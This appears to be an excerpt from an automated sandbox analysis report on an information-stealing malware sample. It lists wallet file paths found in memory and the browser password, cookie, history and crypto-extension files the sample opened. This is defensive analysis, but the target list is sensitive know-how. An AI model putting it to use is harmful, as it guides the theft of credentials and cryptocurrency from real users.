Source: file.exe, 00000000.00000002.2489334528.0000000000307000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2489334528.0000000000224000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: file.exe, 00000000.00000002.2489334528.0000000000224000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: file.exe, 00000000.00000002.2489334528.0000000000224000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: MultiDoge
Source: file.exe, 00000000.00000002.2489334528.0000000000224000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: seed.seco
Source: file.exe, 00000000.00000002.2489334528.0000000000307000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2489334528.0000000000307000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
